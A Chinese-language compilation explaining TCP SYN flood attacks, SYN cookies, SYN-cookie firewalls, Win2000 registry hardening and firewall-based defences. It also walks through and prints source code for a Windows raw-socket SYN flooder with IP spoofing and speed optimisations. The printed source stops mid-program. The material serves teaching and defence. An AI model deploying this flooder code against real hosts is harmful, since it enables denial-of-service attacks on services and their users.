ESTABLISHED表示正常數據傳輸狀態;
TIME_WAIT表示處理完畢,等待超時結束的請求數。
一:介紹SYN
二:什么是SYN洪水攻擊
三:什么是SYN cookie
四:什么是SYN cookie防火牆
C=client(客戶器)
S=Server(服務器)
FW=Firewall(防火牆)
一:介紹SYN
SYN cookie是一個防止SYN洪水攻擊技術。他由D. J. Bernstein和Eric Schenk發明。現在SYN COOKIE已經是linux內核的一部分了(我插一句,默認的stat是no),但是在linux系統的執行過程中它只保護linux系統。我們這里只是說創建一個linux防火牆,他可以為整個網絡和所有的網絡操作系統提供SYN COOKIE保護你可以用這個防火牆來阻斷半開放式tcp連接,所以這個受保護的系統不會進入半開放狀態(TCP_SYN_RECV)。當連接完全建立的時候,客戶機到服務器的連接要通過防火牆來中轉完成。
二:什么是SYN洪水攻擊?(來自CERT的警告)
當一個系統(我們叫他客戶端)嘗試和一個提供了服務的系統(服務器)建立TCP連接,C和服務端會交換一系列報文。
這種連接技術廣泛的應用在各種TCP連接中,例如telnet,Web,email,等等。
首先是C發送一個SYN報文給服務端,然后這個服務端發送一個SYN-ACK包以回應C,接着,C就返回一個ACK包來實現一次完整的TCP連接。就這樣,C到服務端的連接就建立了,這時C和服務端就可以互相交換數據了。下面是上文的圖片說明:)
Client Server
------ ------
SYN-------------------->
<--------------------SYN-ACK
ACK-------------------->
Client and server can now
send service-specific data
在S返回一個確認的SYN-ACK包的時候有個潛在的弊端,他可能不會接到C回應的ACK包。這個也就是所謂的半開放連接,S需要耗費一定的數量的系統內存來等待這個未決的連接,雖然這個數量是受限的,但是惡意者可以通過創建很多的半開放式連接來發動SYN洪水攻擊 。
通過ip欺騙可以很容易的實現半開放連接。攻擊者發送SYN包給受害者系統,這個看起來是合法的,但事實上所謂的C根本不會回應這個 。
SYN-ACK報文,這意味着受害者將永遠不會接到ACK報文。
而此時,半開放連接將最終耗用受害者所有的系統資源,受害者將不能再接收任何其他的請求。通常等待ACK返回包有超時限制,所以半開放 。
連接將最終超時,而受害者系統也會自動修復。雖然這樣,但是在受害者系統修復之前,攻擊者可以很容易的一直發送虛假的SYN請求包來持續攻擊。
在大多數情況下,受害者幾乎不能接受任何其他的請求,但是這種攻擊不會影響到已經存在的進站或者是出站連接。雖然這樣,受害者系統還是可能耗盡系統資源,以導致其他種種問題。
攻擊系統的位置幾乎是不可確認的,因為SYN包中的源地址多數都是虛假的。當SYN包到達受害者系統的時候,沒有辦法找到他的真實地址,因為在基於源地址的數據包傳輸中,源ip過濾是唯一可以驗證數據包源的方法。
三:什么是SYN cookie?
SYN cookie就是用一個cookie來響應TCP SYN請求的TCP實現,根據上面的描述,在正常的TCP實現中,當S接收到一個SYN數據包,他返回一個SYN-ACK包來應答,然后進入TCP-SYN-RECV(半開放連接)狀態來等待最后返回的ACK包。S用一個數據空間來描述所有未決的連接,然而這個數據空間的大小是有限的,所以攻擊者將塞滿這個空間。
在TCP SYN COOKIE的執行過程中,當S接收到一個SYN包的時候,他返回一個SYN-ACK包,這個數據包的ACK序列號是經過加密的,也就是說,它由源地址,端口源次序,目標地址,目標端口和一個加密種子計算得出。然后S釋放所有的狀態。如果一個ACK包從C返回,S將重新計算它來判斷它是不是上個SYN-ACK的返回包。如果這樣,S就可以直接進入TCP連接狀態並打開連接。這樣,S就可以避免守侯半開放連接了。
以上只是SYN COOKIE的基本思路,它在應用過程中仍然有許多技巧。請在前幾年的kernel郵件列表查看archive of discussions的相關詳細內容。
4,什么是SYN COOKIE 防火牆
SYN COOKIE 防火牆是SYN cookie的一個擴展,SYN cookie是建立在TCP堆棧上的,他為linux操作系統提供保護。SYN cookie防火牆是linux的一大特色,你可以使用一個防火牆來保護你的網絡以避免遭受SYN洪水攻擊。
下面是SYN cookie防火牆的原理
client firewall server
------ ---------- ------
1. SYN----------- - - - - - - - - - ->
2. <------------SYN-ACK(cookie)
3. ACK----------- - - - - - - - - - ->
4. - - - - - - -SYN--------------->
5. <- - - - - - - - - ------------SYN-ACK
6. - - - - - - -ACK--------------->
7. -----------> relay the ------->
<----------- connection <-------
1:一個SYN包從C發送到S
2:防火牆在這里扮演了S的角色來回應一個帶SYN cookie的SYN-ACK包給C
3:C發送ACK包,接着防火牆和C的連接就建立了。
4:防火牆這個時候扮演C的角色發送一個SYN給S
5:S返回一個SYN給C
6:防火牆扮演C發送一個ACK確認包給S,這個時候防火牆和S的連接也就建立了
7:防火牆轉發C和S間的數據
如果系統遭受SYN Flood,那么第三步就不會有,而且無論在防火牆還是S都不會收到相應在第一步的SYN包,所以我們就擊退了這次SYN洪水攻擊。
http://www.study-area.org/tips/syn_flood.htm
SYN Flood 攻擊的基本原理及防禦
作者﹕shotgun
第一部分 SYN Flood的基本原理 SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分散式拒絕服務攻擊)的方式之 一,這是一種利用TCP協議缺陷,發送大量偽造的TCP連接請求,從而使得被攻擊方資源耗 盡(CPU滿負荷或記憶體不足)的攻擊方式。 要明白這種攻擊的基本原理,還是要從TCP連接建立的過程開始說起: 大家都知道,TCP與UDP不同,它是基於連接的,也就是說:為了在服務端和用戶端之間傳 送TCP資料,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標準過程是這樣的 : 首先,請求端(用戶端)發送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize), 同步報文會指明用戶端使用的埠以及TCP連接的初始序號; 第二步,伺服器在收到用戶端的SYN報文後,將返回一個SYN+ACK的報文,表示用戶端的請 求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。 第三步,用戶端也返回一個確認報文ACK給伺服器端,同樣TCP序列號被加一,到此一個TCP 連接完成。 以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)。 問題就出在TCP連接的三次握手中,假設一個用戶向伺服器發送了SYN報文後突然死機或掉 線,那麼伺服器在發出SYN+ACK應答報文後是無法收到用戶端的ACK報文的(第三次握手無 法完成),這種情況下伺服器端一般會重試(再次發送SYN+ACK給用戶端)並等待一段時 間後丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間 是分鐘的數量級(大約為30秒-2分鐘);一個用戶出現異常導致伺服器的一個線程等待1 分鐘並不是什麼很大的問題,但如果有一個惡意的攻擊者大量類比這種情況,伺服器端將 為了維護一個非常大的半連接列表而消耗非常多的資源---- 數以萬計的半連接,即使是簡單的保存並遍曆也會消耗非常多的CPU時間和記憶體 ,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果伺服器的TCP/IP棧不 夠強大,最後的結果往往是堆疊溢位崩潰---即使伺服器端的系統足夠強大,伺服器端也 將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求(畢竟用戶端的正常請 求比率非常之小),此時從正常客戶的角度看來,伺服器失去響應,這種情況我們稱作: 伺服器端受到了SYN Flood攻擊(SYN洪水攻擊)。 從防禦角度來說,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,由於SYN Flood攻擊的效果取決於伺服器上保持的SYN半連接數,這個值=SYN攻擊的頻度 x SYN Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連接的時間,例如 設置為20秒以下(過低的SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降 低伺服器的負荷。 第二種方法是設置SYN Cookie,就是給每一個請求連接的IP位址分配一個Cookie,如果短 時間內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,以後從這個IP地址來的包 會被一概丟棄。 可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方 攻擊頻度不高的情況下生效,SYN Cookie更依賴於對方使用真實的IP位址,如果攻擊者以 數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源位址,以上的方法 將毫無用武之地。 第二部份 SYN Flooder源碼解讀 下面我們來分析SYN Flooder的程式實現。 首先,我們來看一下TCP報文的格式: 0 1 2 3 4 5 6 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | IP首部 | TCP首部 | TCP資料段 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 圖一 TCP報文結構 如上圖所示,一個TCP報文由三個部分構成:20位元組的IP首部、20位元組的TCP首部與不 定長的資料段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向後順延)由 於我們只是發送一個SYN信號,並不傳遞任何資料,所以TCP資料段為空。TCP首部的資料 結構為: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 十六位源埠號 | 十六位元目標埠號 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 三十二位序列號 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 三十二位確認號 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 四位 | |U|A|P|R|S|F| | | 首部 |六位保留位元 |R|C|S|S|Y|I| 十六位元窗口大小 | | 長度 | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 十六位校驗和 | 十六位緊急指針 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 選項(若有) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 數據(若有) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- 圖二 TCP首部結構 根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部: typedef struct _tcphdr { USHORT th_sport; //16位源埠 USHORT th_dport; //16位元目的埠 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度+6位保留字中的4位 unsigned char th_flag; //2位元保留字+6位元標誌位元 USHORT th_win; //16位元窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位元緊急資料偏移量 }TCP_HEADER; 通過以正確的資料填充這個結構並將TCP_HEADER.th_flag賦值為2(二進位的00000010) 我們能製造一個SYN的TCP報文,通過大量發送這個報文可以實現SYN Flood的效果。但是 為了進行IP欺騙從而隱藏自己,也為了躲避伺服器的SYN Cookie檢查,還需要直接對IP首 部進行操作: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 版本 | 長度 | 八位服務類型| 十六位總長度 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 十六位元標識 | 標誌| 十三位元片偏移 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 八位元生存時間 | 八位元協議 | 十六位元首部校驗和| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 三十二位源IP地址 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 三十二位元目的IP位址 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 選項(若有) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 數據 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 圖三 IP首部結構 同樣定義一個IP_HEADER來存放IP首部 typedef struct _iphdr { unsigned char h_verlen; //4位首部長度+4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位元總長度(位元組) unsigned short ident; //16位元標識 unsigned short frag_and_flags; //3位元標誌位元 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位元協議號(TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位元目的IP位址 }IP_HEADER; 然後通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_ OVERLAPPED)); 建立一個原始套介面,由於我們的IP源位址是偽造的,所以不能指望系統幫我們計算IP校 驗和,我們得在在setsockopt中設置IP_HDRINCL告訴系統自己填充IP首部並自己計算校驗和 : flag=TRUE; setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); IP校驗和的計算方法是:首先將IP首部的校驗和欄位設為0(IP_HEADER.checksum=0),然 後計算整個IP首部(包括選項)的二進位反碼的和,一個標準的校驗和函數如下所示: USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } 這個函數並沒有經過任何的優化,由於校驗和函數是TCP/IP協定中被調用最多函數之一, 所以一般說來,在實現TCP/IP棧時,會根據作業系統對校驗和函數進行優化。 TCP首部核對總和與IP首部校驗和的計算方法相同,在程式中使用同一個函數來計算。 需要注意的是,由於TCP首部中不包含源位址與目標位址等資訊,為了保證TCP校驗的有效 性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下: struct { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }psd_header; 然後我們將這兩個欄位複製到同一個緩衝區SendBuf中並計算TCP校驗和: memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_ header)); 計算IP校驗和的時候不需要包括TCP偽首部: memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_ header)); 再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就可以直接發送了: memcpy(SendBuf,&ip_header,sizeof(ip_header)); sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr)); 因為整個TCP報文中的所有部分都是我們自己寫入的(作業系統不會做任何干涉),所以 我們可以在IP首部中放置隨機的源IP地址,如果偽造的源IP位址確實有人使用,他在接收 到伺服器的SYN+ACK報文後會發送一個RST報文(標誌位元為00000100),通知伺服器端不 需要等待一個無效的連接,可是如果這個偽造IP並沒有綁定在任何的主機上,不會有任何 設備去通知主機該連接是無效的(這正是TCP協定的缺陷),主機將不斷重試直到SYN Timeout時間後才能丟棄這個無效的半連接。所以當攻擊者使用主機分佈很稀疏的IP位址 段進行偽裝IP的SYN Flood攻擊時,伺服器主機承受的負荷會相當的高, 根據測試,一台PIII 550MHz+128MB+100Mbps的機器使用經過初步優化的 SYN Flooder程式 可以以16,000包/秒的速度發送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB伺服器 了。 稍微動動腦筋我們就會發現,想對SYN Flooder程式進行優化是很簡單的,從程式構架來 看,攻擊時迴圈內的代碼主要是進行校驗和計算與緩衝區的填充,一般的思路是提高校驗 和計算的速度,我甚至見過用彙編代碼編寫的校驗和函數,實際上,有另外一個變通的方 法可以輕鬆實現優化而又不需要高深的編程技巧和數學知識,(老實說吧,我數學比較差 :P),我們仔細研究了兩個不同源地址的TCP SYN報文後發現,兩個報文的大部分欄位相 同(比如目的地址、協議等等),只有源位址和校驗和不同(如果為了隱蔽,源埠也可以 有變化,但是並不影響我們演算法優化的思路),如果我們事先計算好大量的源位址與校驗 和的對應關係表(如果其他的欄位有變化也可以加入這個表),等計算完畢了攻擊程式就 只需要單純的組合緩衝區並發送(用指針來直接操作緩衝區的特定位置,從事先計算好的對 應 關係表中讀出資料,替換緩衝區相應欄位),這種簡單的工作完全取決於系統發送IP包的速 度, 與程式的效率沒有任何關係,這樣,即使是CPU主頻較低的主機也能快速的發送大量TCP SYN 攻擊包。 如果考慮到緩衝區拼接的時間,甚至可以定義一個很大的緩衝區陣列,填充完畢後再發送 (雛鷹給這種方法想了一個很貼切的比喻: 火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以後就可以連續猛烈地發射了:)。 第三部分 SYN Flood攻擊的監測與防禦初探 對於SYN Flood攻擊,目前尚沒有很好的監測和防禦方法,不過如果系統管理員熟悉攻擊 方法和系統架構,通過一系列的設定,也能從一定程度上降低被攻擊系統的負荷,減輕負 面的影響。(這正是我撰寫本文的主要目的) 一般來說,如果一個系統(或主機)負荷突然升高甚至失去回應,使用Netstat 命令能看 到大量SYN_RCVD的半連接(數量>500或占總連接數的10%以上),可以認定,這個系統( 或主機)遭到了SYN Flood攻擊。 遭到SYN Flood攻擊後,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記 錄目前所有TCP連接狀態是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報文的所有細節也有助於以後追查和防禦,需要記錄的欄位有:源位址、IP首部中的 標識、TCP首部中的序列號、TTL值等,這些資訊雖然很可能是攻擊者偽造的,但是用來分 析攻擊者的心理狀態和攻擊程式也不無幫助。特別是TTL值,如果大量的攻擊包似乎來自 不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也 可以通過過濾特定TTL值的報文降低被攻擊系統的負荷 (在這種情況下TTL值與攻擊報文不同的用戶就可以恢復正常訪問) 前面曾經提到可以通過縮短SYN Timeout時間和設置SYN Cookie來進行SYN攻擊保護,對於 Win2000系統,還可以通過修改註冊表降低SYN Flood的危害,在註冊表中作如下改動: 首先,打開regedit,找到HKEY_LOCAL_ MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters 增加一個SynAttackProtect的鍵值,類型為REG_DWORD,取值範圍是0-2,這個值決定了系 統受到SYN攻擊時採取的保護措施,包括減少系統SYN+ACK的重試的次數等,預設值是0( 沒有任何保護措施),推薦設置是增加一個TcpMaxHalfOpen的鍵值,類型為REG_DWORD, 取值範圍是100-0xFFFF,這個值是系統允許同時打開的半連接,默認情況下WIN2K PRO和 SERVER是100, ADVANCED SERVER是 500,這個值很難確定,取決於伺服器TCP負荷的狀況和可能受到的攻擊 強度, 具體的值需要經過試驗才能決定。 增加一個TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值範圍是80-0xFFFF,默 認情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什麼情況下 系統會打開SYN攻擊保護。 我們來分析一下Win2000的SYN攻擊保護機制:正常情況下,Win2K對TCP連接的三次握手有 一個常規的設置,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統 再到Winsock的延時等,這個常規設置是針對系統性能進行優化的(安全和性能往往相互 矛盾)所以可以給用戶提供方便快捷的服務;一旦伺服器受到攻擊,SYN半連接的數量超 過TcpMaxHalfOpenRetried的設置,系統會認為自己受到了SYN Flood攻擊,此時設置在 SynAttackProtect鍵值中的選項開始作用,SYN Timeout時間被減短,SYN-ACK的重試次數 減少,系統也會自動對緩衝區中的報文進行延時,避免對TCP/IP堆疊造成過大的衝擊, 力圖將攻擊危害減到最低;如果攻擊強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已 經不能提供正常的服務了, 更重要的是保證系統不會崩潰,所以系統將會丟棄任何超出TcpMaxHalfOpen值範圍的SYN報 文 (應該是使用隨機丟包策略),保證系統的穩定性。 所以,對於需要進行SYN攻擊保護的系統,我們可以測試/預測一下訪問峰值時期的半連接 打開量,以其作為參考設定TcpMaxHalfOpenRetried的值(保留一定的餘量),然後再以 cpMaxHalfOpenRetried的1.25倍作為TcpMaxHalfOpen值,這樣可以最大限度地發揮WIN2K 自身的SYN攻擊保護機制。 通過設置註冊表防禦SYN Flood攻擊,採用的是“挨打”的策略,無論系統如何強大,始 終不能光靠挨打支撐下去,除了挨打之外,“退讓”也是一種比較有效的方法。 退讓策略是基於SYN Flood攻擊代碼的一個缺陷,我們重新來分析一下SYN Flood攻擊者的 流程:SYN Flood程式有兩種攻擊方式,基於IP的和基於功能變數名稱的,前者是攻擊者 自己進行功能變數名稱解析並將IP位址傳遞給攻擊程式,後者是攻擊程式自動進行功能變 數名稱解析,但是它們有一點是相同的,就是一旦攻擊開始,將不會再進行功能變數名稱 解析,我們的切入點正是這裏:假設一台伺服器在受到SYN Flood攻擊後迅速更換自己的 IP位址,那麼攻擊者仍在不斷攻擊的只是一個空的IP位址,並沒有任何主機,而防禦方只 要將DNS解析更改到新的IP位址就能在很短的時間內(取決於DNS的刷新時間)恢復用戶通過 功能變數名稱進行的正常訪問。 為了迷惑攻擊者,我們甚至可以放置一台“犧牲”伺服器讓攻擊者滿足於攻擊的“效果” (由於DNS緩衝的原因,只要攻擊者的流覽器不重起,他訪問的仍然是原先的IP位址)。 同樣的原因,在眾多的負載均衡架構中,基於DNS解析的負載均衡本身就擁有對SYN Flood的免疫力,基於DNS解析的負載均衡能將用戶的請求分配到不同IP的伺服器主機上, 攻擊者攻擊的永遠只是其中一台伺服器,雖然說攻擊者也能不斷去進行DNS請求從而打破 這種“退讓”策略,但是一來這樣增加了攻擊者的成本,二來過多的DNS請求可以幫助我 們追查攻擊者的真正蹤跡(DNS請求不同於SYN攻擊,是需要返回資料的,所以很難進行 IP 偽裝)。 對於防火牆來說,防禦SYN Flood攻擊的方法取決於防火牆工作的基本原理,一般說來, 防火牆可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火牆稱為閘道型防火牆, 閘道型防火牆與伺服器、客戶機之間的關係如下圖所示: 外部TCP連接 內部TCP連接 [客戶機] =================>[防火牆] =================>[伺服器] 如上圖所示,客戶機與伺服器之間並沒有真正的TCP連接,客戶機與伺服器之間的所有資 料交換都是通過防火牆代理的,外部的DNS解析也同樣指向防火牆,所以如果網站被攻擊 ,真正受到攻擊的是防火牆,這種防火牆的優點是穩定性好,抗打擊能力強,但是因為所 有的TCP報文都需要經過防火牆轉發,所以效率比較低由於客戶機並不直接與伺服器建立 連接,在TCP連接沒有完成時防火牆不會去向後臺的伺服器建立新的TCP連接,所以攻擊者 無法越過防火牆直接攻擊後臺伺服器,只要防火牆本身做的足夠強壯,這種架構可以抵抗 相當強度的SYN Flood攻擊。但是由於防火牆實際建立 TCP連接數為用戶連接數的兩倍(防 火牆兩端都需要建立TCP連接), 同時又代理了所有的來自用戶端的TCP請求和資料傳送,在系統訪問量較大時,防火牆自身 的負荷會比較 高,所以這種架構並不能適用於大型網站。(我感覺,對於這樣的防火牆架構,使用TCP STATE攻擊估計會相當有效:) 工作在IP層或IP層之下的防火牆(路由型防火牆)工作原理有所不同,它與伺服器、客戶機 的關係如下圖所示: [防火牆] 資料包修改轉發 [客戶機]========|=======================>[伺服器] TCP連接 客戶機直接與伺服器進行TCP連接,防火牆起的是路由器的作用,它截獲所有通過的包並 進行過濾,通過過濾的包被轉發給伺服器,外部的DNS解析也直接指向伺服器,這種防火 牆的優點是效率高,可以適應100Mbps-1Gbps的流量,但是這種防火牆如果配置不當,不 僅可以讓攻擊者越過防火牆直接攻擊內部伺服器,甚至有可能放大攻擊的強度,導致整個系 統崩潰。 在這兩種基本模型之外,有一種新的防火牆模型,我個人認為還是比較巧妙的,它集中了 兩種防火牆的優勢,這種防火牆的工作原理如下所示: 第一階段,客戶機請求與防火牆建立連接: SYN SYN+ACK ACK [客戶機]---- >[防火牆] => [防火牆]-------- >[客戶機] => [客戶機]--- >[防火牆] 第二階段,防火牆偽裝成客戶機與後臺的伺服器建立連接 [防火牆]< =========== >[伺服器] TCP連接 第三階段,之後所有從客戶機來的TCP報文防火牆都直接轉發給後臺的伺服器 防火牆轉發 [客戶機]< ======|======= >[伺服器] TCP連接 這種結構吸取了上兩種防火牆的優點,既能完全控制所有的SYN報文,又不需要對所有的 TCP資料報文進行代理,是一種兩全其美的方法。 近來,國外和國內的一些防火牆廠商開始研究帶寬控制技術,如果能真正做到嚴格控制、 分配帶寬,就能很大程度上防禦絕大多數的拒絕服務攻擊,我們還是拭目以待吧。 附錄:Win2000下的SYN Flood程式 改編自Linux下Zakath編寫的SYN Flooder 編譯環境:VC++6.0,編譯時需要包含ws2_32.lib ////////////////////////////////////////////////////////////////////////// // // // SYN Flooder For Win2K by Shotgun // // // // THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath // // THANX Lion Hook FOR PROGRAM OPTIMIZATION // // // // Released: [2001.4] // // Author: [Shotgun] // // Homepage: // // [http://IT.Xici.Net] // // [http://WWW.Patching.Net] // // // ////////////////////////////////////////////////////////////////////////// #include #include #include #include #define SEQ 0x28376839 #define SYN_DEST_IP "192.168.15.250"//被攻擊的IP #define FAKE_IP "10.168.150.1" //偽裝IP的起始值,本程式的偽裝IP覆蓋一個B類網段 #define STATUS_FAILED 0xFFFF //錯誤返回值 typedef struct _iphdr //定義IP首部 { unsigned char h_verlen; //4位首部長度,4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位元總長度(位元組) unsigned short ident; //16位元標識 unsigned short frag_and_flags; //3位元標誌位元 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位元協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位元目的IP位址 }IP_HEADER; struct //定義TCP偽首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }psd_header; typedef struct _tcphdr //定義TCP首部 { USHORT th_sport; //16位源埠 USHORT th_dport; //16位元目的埠 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度/6位保留字 unsigned char th_flag; //6位元標誌位元 USHORT th_win; //16位元窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位元緊急資料偏移量 }TCP_HEADER; //CheckSum:計算校驗和的子函數 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } // SynFlood主函數 int main() { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]={0}; char RecvBuf[65535]={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); if (SockRaw==INVALID_SOCKET){ fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //設置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)) ; If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n"); __try{ //設置發送超時 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof( TimeOut)); if(ErrorCode==SOCKET_ERROR){ fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位元總長度 (位元組) ip_header.ident=1; //16位元標識 ip_header.frag_and_flags=0; //3位元標誌位元 ip_header.ttl=128; //8位生存時間TTL ip_header.proto=IPPROTO_TCP; //8位元協議(TCP,UDP…) ip_header.checksum=0; //16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 ip_header.destIP=inet_addr(SYN_DEST_IP); //32位元目的IP位址 //填充TCP首部 tcp_header.th_sport=htons(7000); //源埠號 tcp_header.th_dport=htons(8080); //目的埠號 tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號 tcp_header.th_ack=0; //ACK序列號置為0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位 tcp_header.th_flag=2; //SYN 標誌 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校驗和 //填充TCP偽首部(用於計算校驗和,並不真正發送) 